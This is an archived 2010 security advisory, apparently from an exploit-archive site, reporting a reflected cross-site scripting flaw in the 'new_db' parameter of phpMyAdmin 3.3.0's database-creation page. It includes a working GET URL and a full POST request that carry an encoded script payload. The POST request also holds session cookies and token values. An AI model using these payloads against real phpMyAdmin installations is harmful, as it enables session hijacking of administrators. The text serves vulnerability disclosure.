AOH :: HP Unsorted I :: BU-1997.HTM

I found a xss in phpmyadmin 3.3.0 when we create new database in interface!



I found a xss in phpmyadmin 3.3.0 when we create new database in interface!
I found a xss in phpmyadmin 3.3.0 when we create new database in interface!




there is a xss in phpmyadmin 3.3.0 when we create new database in interface=2C the "new_db" parameter do not filter characters when users enter. attacker can enter malicious code=2C like "". it also can be true in post and get. but in post=2C we can not encode xss code=2C or =2C the xss will faild. 
 
 
 
 
For example:
 
 
GET:
 
http://localhost/phpmyadmin/db_create.php?token=567eb60e7b1692f64df9251ab7ae3934&reload=1&new_db=%3Cscript%3Ealert%28%2Fliscker%2F%29%3B%3C%2Fscript%3E&db_collation 
 
POST:
 
POST /phpmyadmin/db_create.php HTTP/1.1
Accept: */*
Referer: http://localhost/phpmyadmin/db_create.php 
Accept-Language: zh-cn
Content-Type: application/x-www-form-urlencoded
UA-CPU: x86
Accept-Encoding: gzip=2C deflate
User-Agent: Mozilla/4.0 (compatible=3B MSIE 7.0=3B Windows NT 5.2=3B .NET CLR 1.1.4322=3B InfoPath.2=3B .NET CLR 2.0.50727)
Host: localhost
Content-Length: 123
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: phpMyAdmin=95830e770d0f213c04d63b623940f46f95c6f571=3B pma_lang=en-utf-8=3B pma_charset=utf-8=3B pma_collation_connection=utf8_general_ci=3B pmaUser-1=Hfd255%2Bp2dc%3D=3B pma_navi_width=200=3B pmaPass-1=MlPzQC8J2iY%3D=3B pma_fontsize=82%25=3B pma_theme=original
token=759f7a380111a292995ec447408bbdb3&reload=1&new_db=%3Cscript%3Ealert%28%2Fliscker%2F%29%3B%3C%2Fscript%3E&db_collation 
 
 
When you test=2C please replace the session "759f7a380111a292995ec447408bbdb3" with yourself. I suggest to test it in interface.
 
 
 
Liscker
2010.03.12
 
 
  		 	   		  

The entire AOH site is optimized to look best in Firefox® 3 on a widescreen monitor (1440x900 or better).
Site design & layout copyright © 1986-2014 AOH
We do not send spam. If you have received spam bearing an artofhacking.com email address, please forward it with full headers to abuse@artofhacking.com.